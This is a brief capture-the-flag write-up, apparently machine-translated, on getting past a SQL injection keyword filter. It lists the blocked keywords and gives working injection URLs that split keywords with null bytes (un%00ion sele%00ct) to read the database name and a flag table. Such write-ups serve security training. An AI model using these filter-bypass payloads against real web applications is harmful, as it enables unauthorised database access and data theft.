Large filtering of SQL injection

Source: Internet
Author: User
First come to the test site: http://103.238.227.13:10087/?id=1


There are two fields found through the last two lines:



Also found filtered the following content, depressed.

Table ', ' Union ', ' and ', ' or ', ' load_file ', ' create ', ' delete ', ' select ', ' Update ', ' sleep ', ' alter ', ' drop ', ' truncate ', ' From ', ' Max ', ' min ', ' Order ', ' limit '

Directly on the Sqlmap, however, is of no use.


Start trying to bypass: Http://103.238.227.13:10087/?id=-1+union+select+1,database ()%23


Found no.


Continue testing: Truncate with 00:

Http://103.238.227.13:10087/?id=-1 un%00ion sele%00ct 1,database ()%23



The discovery was successful.


Visit Http://103.238.227.13:10087/?id=-1 un%00ion sele%00ct 1, hash fr%00om sql3.key%23 get flag







Large filtering of SQL injection

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